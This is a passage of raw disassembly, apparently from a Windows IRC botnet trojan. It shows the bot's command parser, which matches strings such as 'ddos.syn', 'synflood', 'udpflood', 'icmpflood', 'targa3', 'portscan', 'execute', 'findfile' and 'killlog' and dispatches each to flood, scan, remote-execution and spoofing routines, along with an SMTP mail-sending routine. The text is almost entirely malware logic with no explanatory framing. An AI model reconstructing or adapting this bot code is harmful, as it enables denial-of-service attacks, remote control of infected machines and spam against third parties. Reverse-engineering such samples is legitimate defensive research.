CODE XREF: sub_401AC7+44F8j push offset unk_42B33C jmp loc_40851D ; --------------------------------------------------------------------------- loc_405FD5: ; CODE XREF: sub_401AC7+44B7j push edi push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405FED push [ebp+arg_0] push 4 jmp short loc_405F8A ; --------------------------------------------------------------------------- loc_405FED: ; CODE XREF: sub_401AC7+451Dj push edi push offset aPause ; "pause" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406005 push [ebp+arg_0] push 5 jmp short loc_405F8A ; --------------------------------------------------------------------------- loc_406005: ; CODE XREF: sub_401AC7+4535j push edi push offset aContinue ; "continue" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406020 push [ebp+arg_0] push 6 jmp loc_405F8A ; --------------------------------------------------------------------------- loc_406020: ; CODE XREF: sub_401AC7+454Dj push edi push offset aDelete ; "delete" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40603B push [ebp+arg_0] push 1 jmp loc_405F8A ; --------------------------------------------------------------------------- loc_40603B: ; CODE XREF: sub_401AC7+4568j push edi push offset aShare ; "share" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4060B8 cmp [ebp+arg_18], ebx jz short loc_40608B cmp [ebp+var_8FC], bl jz short loc_406061 push ebx push [ebp+arg_18] push 1 jmp short loc_40606C ; --------------------------------------------------------------------------- loc_406061: ; CODE XREF: sub_401AC7+4590j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_40606C: ; CODE XREF: sub_401AC7+4598j call sub_418FA3 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 18h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40608B: ; CODE XREF: sub_401AC7+4588j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419198 add esp, 10h test eax, eax jz short loc_4060AE push offset unk_42B2FC jmp loc_40851D ; --------------------------------------------------------------------------- loc_4060AE: ; CODE XREF: sub_401AC7+45DBj push offset unk_42B2DC jmp loc_40851D ; --------------------------------------------------------------------------- loc_4060B8: ; CODE XREF: sub_401AC7+4583j push edi push offset aUser ; "user" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40615A mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40612D cmp [ebp+var_8FC], bl jz short loc_4060EE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_40610E ; --------------------------------------------------------------------------- loc_4060EE: ; CODE XREF: sub_401AC7+4613j push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_40610A push esi push eax push ebx jmp short loc_40610E ; --------------------------------------------------------------------------- loc_40610A: ; CODE XREF: sub_401AC7+463Cj push ebx push eax push 2 loc_40610E: ; CODE XREF: sub_401AC7+4625j ; sub_401AC7+4641j call sub_4192B9 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 24h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40612D: ; CODE XREF: sub_401AC7+460Bj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4197CD add esp, 10h test eax, eax jz short loc_406150 push offset unk_42B2BC jmp loc_40851D ; --------------------------------------------------------------------------- loc_406150: ; CODE XREF: sub_401AC7+467Dj push offset unk_42B29C jmp loc_40851D ; --------------------------------------------------------------------------- loc_40615A: ; CODE XREF: sub_401AC7+4600j push edi push offset aSend ; "send" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4061A8 cmp [ebp+arg_18], ebx jz short loc_40619E push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419A81 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 1Ch jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_401AC7+46A7j push offset unk_42B270 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_401AC7+46A2j push offset unk_42B254 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4061B2: ; CODE XREF: sub_401AC7+4460j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408C0D loc_4061E0: ; CODE XREF: sub_401AC7+3C93j ; sub_401AC7+3CC9j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F6C push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BB1 push [ebp+arg_8] push offset aAa ; "aa" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BB1 push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408B5B push [ebp+arg_8] push offset dword_42B93C call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408B5B push [ebp+arg_8] push offset aAction ; "action" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408AED push [ebp+arg_8] push offset aA ; "a" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408AED push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A4B push [ebp+arg_8] push offset aM ; "m" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A4B push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4089E0 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4089E0 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40895E push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40895E push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088F0 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088F0 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088CA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088CA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40886A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40886A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408772 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408772 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4086A0 push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4086A0 push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4085CB push [ebp+arg_8] push offset aRp ; "rp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4085CB push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] push offset aDe ; "de" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] push offset aHadeth ; "HADETH" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4083A7 push [ebp+arg_8] push offset aHadeth ; "HADETH" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4083A7 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408314 push [ebp+arg_8] push offset aE ; "e" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408314 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408208 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408208 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408192 push [ebp+arg_8] push offset aMv ; "mv" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408192 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40809B push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40809B mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F6C push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407FB3 push [ebp+arg_8] push offset aC ; "c" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407FB3 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4066F3 push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3AD add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset dword_415208 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4066E2 loc_4066CC: ; CODE XREF: sub_401AC7+4C19j cmp [ebp+var_3074], ebx jnz loc_403D2D push 32h nop call near ptr 2690000h jmp short loc_4066CC ; --------------------------------------------------------------------------- loc_4066E2: ; CODE XREF: sub_401AC7+4C03j nop call near ptr 26908A7h push eax push offset unk_42B0E0 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_4066F3: ; CODE XREF: sub_401AC7+4B59j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407DD2 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407DD2 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_406820 push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push edi push offset dword_42B098 push eax mov [ebp+var_36AC], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 10h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset byte_41416D push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40680F loc_4067F9: ; CODE XREF: sub_401AC7+4D46j cmp [ebp+var_349C], ebx jnz loc_4071DD push 32h call near ptr 2690000h nop jmp short loc_4067F9 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_401AC7+4D30j call near ptr 26908A7h nop push eax push offset dword_42B05C jmp loc_4071CE ; --------------------------------------------------------------------------- loc_406820: ; CODE XREF: sub_401AC7+4C6Bj push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407CEA push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407CEA push [ebp+arg_8] push offset aNazel ; "NAZEL" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407BAF push [ebp+arg_8] push offset aNazel ; "NAZEL" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407BAF push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407AB5 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407AB5 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4079C2 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4079C2 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4078ED push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4078ED push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4077DB push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4077DB mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F6C push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4076D5 push [ebp+arg_8] push offset dword_42AFF0 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4076D5 push [ebp+arg_8] push offset off_42AFEC call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4071FD push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4071FD push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aU ; "u" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406FA9 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406FA9 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aP ; "p" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406A9E push edi call sub_41B4CF push edi lea eax, [ebp+var_2C4] push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C006 add esp, 10h cmp [ebp+var_8], ebx jnz loc_401F6C push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_40408E ; --------------------------------------------------------------------------- loc_406A9E: ; CODE XREF: sub_401AC7+4FA1j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406CD2 push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406CD2 push [ebp+arg_8] push offset aEmail ; "email" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_406C7A lea eax, [ebp+var_46F0] push edi push eax call sub_41C620 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C620 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C620 push offset asc_42CDCC ; " " push offset dword_42B938 push [ebp+esi+var_7C] call sub_4183EC push eax lea eax, [ebp+var_408C] push eax call sub_41C620 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4C9274 lea eax, [ebp+var_46F0] push eax call dword_4C9388 push 6 push 1 push 2 mov edi, eax call dword_4C9384 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4C9304 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C006 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4C92AC mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4C931C lea eax, [ebp+var_448C] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4C9354 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4C931C push esi call dword_4C939C call dword_4C925C lea eax, [ebp+var_458C] push eax push offset unk_42AF00 loc_406C33: ; CODE XREF: sub_401AC7+2E4Fj ; sub_401AC7+65CFj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 loc_406C3F: ; CODE XREF: sub_401AC7+241Bj add esp, 0Ch loc_406C42: ; CODE XREF: sub_401AC7+4483j ; sub_401AC7+44DDj ... cmp [ebp+var_8], ebx jnz short loc_406C63 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_406C63: ; CODE XREF: sub_401AC7+2955j ; sub_401AC7+29A8j ... mov esi, [ebp+arg_24] loc_406C66: ; CODE XREF: sub_401AC7+6848j ; sub_401AC7+7750j ... lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx mov eax, esi jmp loc_401F6F ; --------------------------------------------------------------------------- loc_406C7A: ; CODE XREF: sub_401AC7+5016j push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406CA4 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40724F loc_406CA4: ; CODE XREF: sub_401AC7+51C4j push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41BEF9 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410A9D jmp loc_409640 ; --------------------------------------------------------------------------- loc_406CD2: ; CODE XREF: sub_401AC7+4FE8j ; sub_401AC7+4FFFj mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C100 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41C7E0 add esp, 14h test eax, eax jz short loc_406D35 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406D35 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406D35 push offset unk_42AEB8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_406D35: ; CODE XREF: sub_401AC7+5234j ; sub_401AC7+524Bj ... push [ebp+arg_10] call sub_41BEF9 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E6A push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C100 push [ebp+arg_18] lea eax, [ebp+var_13D8] push esi push eax call sub_41C100 push [ebp+arg_0] call sub_41BEF9 mov [ebp+var_1254], eax xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C100 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406DCC mov eax, offset aNormal ; "Normal" loc_406DCC: ; CODE XREF: sub_401AC7+52FEj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE74 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset dword_414974 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_406E4A loc_406E34: ; CODE XREF: sub_401AC7+5381j cmp [ebp+var_1240], ebx jnz loc_4081DE push 32h nop call near ptr 2690000h jmp short loc_406E34 ; --------------------------------------------------------------------------- loc_406E4A: ; CODE XREF: sub_401AC7+536Bj nop call near ptr 26908A7h push eax push offset unk_42AE3C loc_406E56: ; CODE XREF: sub_401AC7+20E5j ; sub_401AC7+2EA4j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 loc_406E62: ; CODE XREF: sub_401AC7+54DDj add esp, 0Ch jmp loc_4081DE ; --------------------------------------------------------------------------- loc_406E6A: ; CODE XREF: sub_401AC7+527Fj push offset unk_42AE04 loc_406E6F: ; CODE XREF: sub_401AC7+1FAEj ; sub_401AC7+1FC4j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx jmp loc_4081DE ; --------------------------------------------------------------------------- loc_406E82: ; CODE XREF: sub_401AC7+4F5Cj ; sub_401AC7+4F73j ... cmp dword_4C93F4, ebx jnz loc_406F8E mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41BEF9 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BD70 push [ebp+var_1008] mov eax, [ebp+arg_4] mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADBC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3AD add esp, 48h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset byte_413DCB push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_406F7D loc_406F67: ; CODE XREF: sub_401AC7+54B4j cmp [ebp+var_FF4], ebx jnz loc_4081DE push 32h call near ptr 2690000h nop jmp short loc_406F67 ; --------------------------------------------------------------------------- loc_406F7D: ; CODE XREF: sub_401AC7+549Ej nop call near ptr 26908A7h push eax push offset unk_42AD84 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_406F8E: ; CODE XREF: sub_401AC7+53C1j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BD70 jmp loc_406E62 ; --------------------------------------------------------------------------- loc_406FA9: ; CODE XREF: sub_401AC7+4F2Ej ; sub_401AC7+4F45j push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD30 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push [ebp+arg_0] call sub_41B960 push [ebp+arg_18] mov edi, eax call sub_41B960 push [ebp+arg_20] add edi, eax call sub_41B960 push [ebp+arg_8] add edi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C080 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41BEF9 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_4070A3 loc_40702C: ; CODE XREF: sub_401AC7+5589j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AA2 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_407054 cmp eax, ebx jnz short loc_407073 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_40702C jmp short loc_4070AC ; --------------------------------------------------------------------------- loc_407054: ; CODE XREF: sub_401AC7+557Aj push ebx push [ebp+var_4] push offset unk_42ACF8 loc_40705D: ; CODE XREF: sub_401AC7+55EEj push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_40724F ; --------------------------------------------------------------------------- loc_407073: ; CODE XREF: sub_401AC7+557Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h loc_4070A3: ; CODE XREF: sub_401AC7+5563j cmp [ebp+arg_20], ebx jnz loc_40724F loc_4070AC: ; CODE XREF: sub_401AC7+558Bj push ebx push [ebp+var_4] push offset unk_42AC90 jmp short loc_40705D ; --------------------------------------------------------------------------- loc_4070B7: ; CODE XREF: sub_401AC7+4EE9j ; sub_401AC7+4F00j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41BEF9 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_40711C push esi call sub_41BEF9 pop ecx mov [ebp+var_C74], eax jmp short loc_407122 ; --------------------------------------------------------------------------- loc_40711C: ; CODE XREF: sub_401AC7+5644j mov [ebp+var_C74], ebx loc_407122: ; CODE XREF: sub_401AC7+5653j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BD70 push [ebp+var_C78] mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC48 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3AD add esp, 30h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset byte_413F57 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4071C2 loc_4071B0: ; CODE XREF: sub_401AC7+56F9j cmp [ebp+var_C64], ebx jnz short loc_4071DD push 32h nop call near ptr 2690000h jmp short loc_4071B0 ; --------------------------------------------------------------------------- loc_4071C2: ; CODE XREF: sub_401AC7+56E7j nop call near ptr 26908A7h push eax push offset unk_42AC10 loc_4071CE: ; CODE XREF: sub_401AC7+4D54j ; sub_401AC7+621Ej ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_4071DD: ; CODE XREF: sub_401AC7+4D38j ; sub_401AC7+56EFj ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx push [ebp+var_4] loc_4071EA: ; CODE XREF: sub_401AC7+2271j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081FB ; --------------------------------------------------------------------------- loc_4071FD: ; CODE XREF: sub_401AC7+4EBBj ; sub_401AC7+4ED2j push 0Bh call sub_40B5F5 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41BEF9 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle 